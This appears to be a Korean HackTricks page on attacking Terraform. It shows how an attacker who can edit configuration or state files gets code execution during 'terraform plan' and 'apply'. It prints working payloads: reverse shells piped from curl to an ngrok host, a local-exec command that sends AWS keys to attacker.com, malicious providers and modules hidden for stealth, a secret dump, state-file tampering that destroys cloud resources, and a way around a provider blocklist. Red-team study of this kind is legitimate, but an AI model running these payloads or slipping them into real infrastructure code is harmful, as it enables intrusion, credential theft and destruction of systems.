Terraform Security

htARTE (HackTricks AWS Red Team Expert)를 통해 **제로부터 영웅까지 AWS 해킹 배우기**!

HackTricks를 지원하는 다른 방법:

기본 정보

문서에서:

HashiCorp Terraform은 인프라스트럭처 코드 도구로, 인간이 읽을 수 있는 구성 파일에서 클라우드 및 온프레미스 리소스를 정의하고 버전 관리, 재사용 및 공유할 수 있게 해줍니다. 일관된 워크플로우를 사용하여 인프라스트럭처의 전체 수명 주기 동안 모든 인프라스트럭처를 프로비저닝하고 관리할 수 있습니다. Terraform은 컴퓨팅, 스토리지, 네트워킹 리소스와 같은 저수준 구성 요소뿐만 아니라 DNS 항목 및 SaaS 기능과 같은 고수준 구성 요소를 관리할 수 있습니다.

Terraform은 어떻게 작동합니까?

Terraform은 클라우드 플랫폼 및 다른 서비스에서 리소스를 생성하고 관리하기 위해 그들의 응용 프로그래밍 인터페이스(API)를 통해 작동합니다. 제공자는 Terraform이 액세스 가능한 API를 통해 거의 모든 플랫폼이나 서비스와 작동할 수 있도록 합니다.

HashiCorp 및 Terraform 커뮤니티는 이미 1700개 이상의 제공자를 작성하여 수천 가지 다른 유형의 리소스와 서비스를 관리하고 있으며, 이 숫자는 계속 증가합니다. Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog 등을 포함한 모든 공개 제공자를 Terraform 레지스트리에서 찾을 수 있습니다.

Terraform의 핵심 워크플로우는 세 가지 단계로 구성됩니다:

  • 작성: 여러 클라우드 제공업체 및 서비스에 걸쳐 리소스를 정의합니다. 예를 들어, 가상 머신에 응용 프로그램을 배포하고 보안 그룹 및 로드 밸런서가 있는 Virtual Private Cloud (VPC) 네트워크에 구성을 생성할 수 있습니다.

  • 계획: Terraform은 기존 인프라스트럭처 및 구성에 기반하여 생성, 업데이트 또는 삭제할 인프라스트럭처를 설명하는 실행 계획을 작성합니다.

  • 적용: 승인하면 Terraform은 제안된 작업을 올바른 순서로 수행하며 모든 리소스 종속성을 준수합니다. 예를 들어, VPC의 속성을 업데이트하고 해당 VPC의 가상 머신 수를 변경하는 경우, Terraform은 가상 머신을 확장하기 전에 VPC를 다시 생성합니다.

Terraform Lab

컴퓨터에 Terraform을 설치하세요.

여기 가이드와 여기 Terraform을 다운로드하는 가장 좋은 방법이 있습니다.

Terraform에서 RCE

Terraform은 웹 페이지나 네트워크 서비스를 노출하는 플랫폼이 없으므로, terraform을 침해하는 유일한 방법은 terraform 구성 파일을 추가/수정할 수 있는지 여부입니다.

그러나 terraform은 침해하기 매우 민감한 구성 요소이기 때문에 올바르게 작동하려면 특권 액세스가 필요합니다.

공격자가 terraform이 실행되는 시스템을 침해할 수 있는 주요 방법은 terraform 구성을 저장하는 저장소를 침해하는 것입니다. 왜냐하면 언젠가는 해석될 것이기 때문입니다.

실제로 PR이 생성된 후 자동으로 terraform plan/apply를 실행하는 솔루션이 있습니다. 예를 들어 Atlantis:

pageAtlantis Security

만약 terraform 파일을 침해할 수 있다면 terraform plan 또는 terraform apply를 실행할 때 RCE를 수행할 수 있는 다양한 방법이 있습니다.

Terraform plan

Terraform plan은 terraform에서 가장 많이 사용되는 명령어이며 개발자/terraform을 사용하는 솔루션은 항상 호출하므로 terraform plan에서 임의의 명령을 실행할 수 있는 terraform 구성 파일을 조작하는 것이 가장 쉬운 RCE 방법입니다.

외부 제공자 사용

Terraform은 external 제공자를 제공하여 Terraform과 외부 프로그램 간의 인터페이스를 제공합니다. external 데이터 소스를 사용하여 plan 중에 임의의 코드를 실행할 수 있습니다.

다음과 같은 내용을 terraform 구성 파일에 삽입하면 terraform plan을 실행할 때 rev 쉘을 실행할 수 있습니다:

data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}

커스텀 프로바이더 사용

공격자는 커스텀 프로바이더Terraform 레지스트리로 전송한 다음 해당 프로바이더를 특정 브랜치에 있는 Terraform 코드에 추가할 수 있습니다 (여기 예시 참조):

terraform {
required_providers {
evil = {
source  = "evil/evil"
version = "1.0"
}
}
}

provider "evil" {}

제공자는 init에서 다운로드되며 plan이 실행될 때 악성 코드가 실행됩니다.

예제는 https://github.com/rung/terraform-provider-cmdexec에서 찾을 수 있습니다.

외부 참조 사용

언급된 두 옵션 모두 유용하지만 매우 은밀하지는 않습니다(두 번째 옵션이 더 은밀하지만 첫 번째 옵션보다 복잡합니다). 이 제안을 따라 더 은밀한 방법으로 이 공격을 수행할 수 있습니다:

  • 테라폼 파일에 직접 rev 쉘을 추가하는 대신, rev 쉘을 포함하는 외부 리소스를 로드할 수 있습니다.

module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}

rev 쉘 코드는 https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules에서 찾을 수 있습니다.

  • 외부 자원에서 ref 기능을 사용하여 레포지토리 내의 terraform rev 쉘 코드를 숨기는 기능을 사용할 수 있습니다. 예를 들어: git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b

Terraform Apply

모든 변경 사항을 적용하기 위해 Terraform apply가 실행됩니다. 또한 **local-exec**를 사용하여 악성 Terraform 파일을 삽입하여 RCE를 얻을 수 있습니다. 다음과 같은 페이로드가 main.tf 파일에 포함되어 있는지 확인하면 됩니다:

// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}

// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}

이전 기술의 제안을 따라 외부 참조를 사용하여이 공격을 더 은밀하게 수행하십시오.

시크릿 덤프

terraform apply를 실행하여 덤프 된 테라폼에서 사용되는 비밀 값을 얻을 수 있습니다. 테라폼 파일에 다음과 같은 내용을 추가하면 됩니다:

output "dotoken" {
value = nonsensitive(var.do_token)
}

Terraform 상태 파일 남용

만약 테라폼 상태 파일에 쓰기 액세스 권한이 있지만 테라폼 코드를 변경할 수 없는 경우, 이 연구는 파일을 악용하는 몇 가지 흥미로운 옵션을 제공합니다:

리소스 삭제

리소스를 삭제하는 두 가지 방법이 있습니다:

  1. 실제 리소스를 파괴하기 위해 상태 파일에 무작위 이름의 리소스를 삽입

테라폼은 리소스가 존재하지 않아야 한다는 것을 인식하므로 (지정된 실제 리소스 ID를 따라) 해당 리소스를 파괴합니다. 이전 페이지의 예시:

{
"mode": "managed",
"type": "aws_instance",
"name": "example",
"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
"instances": [
{
"attributes": {
"id": "i-1234567890abcdefg"
}
}
]
},
  1. 수정하여 업데이트할 수 없도록 리소스를 삭제하도록 변경

EC2 인스턴스의 경우 인스턴스 유형을 수정하는 것만으로 terraform이 삭제하고 다시 만들도록 할 수 있습니다.

RCE

또한 사용자 정의 프로바이더를 생성하여 terraform 상태 파일에서 악의적인 프로바이더로 하나를 대체하거나 악의적인 프로바이더로 빈 리소스를 추가할 수도 있습니다. 원본 연구에서의 예시:

"resources": [
{
"mode": "managed",
"type": "scaffolding_example",
"name": "example",
"provider": "provider[\"registry.terraform.io/dagrz/terrarizer\"]",
"instances": [

]
},

블랙리스트에 올라간 프로바이더 대체

만약 hashicorp/external이 블랙리스트에 올라간 상황을 만나게 된다면, 다음을 수행하여 external 프로바이더를 다시 구현할 수 있습니다. 참고: 우리는 https://registry.terraform.io/providers/nazarewk/external/latest에서 발행된 external 프로바이더의 포크를 사용합니다. 여러분도 자체 포크나 재구현을 할 수 있습니다.

terraform {
required_providers {
external = {
source  = "nazarewk/external"
version = "3.0.0"
}
}
}

그럼 external을 평소처럼 사용할 수 있습니다.

data "external" "example" {
program = ["sh", "-c", "whoami"]
}

감사 도구

  • tfsec: tfsec는 Terraform 코드의 정적 분석을 사용하여 잠재적인 구성 오류를 식별합니다.

  • terascan: Terrascan은 인프라스트럭처 코드의 정적 코드 분석기입니다.

참고 자료

htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 영웅까지 AWS 해킹을 배우세요!

HackTricks를 지원하는 다른 방법:

最終更新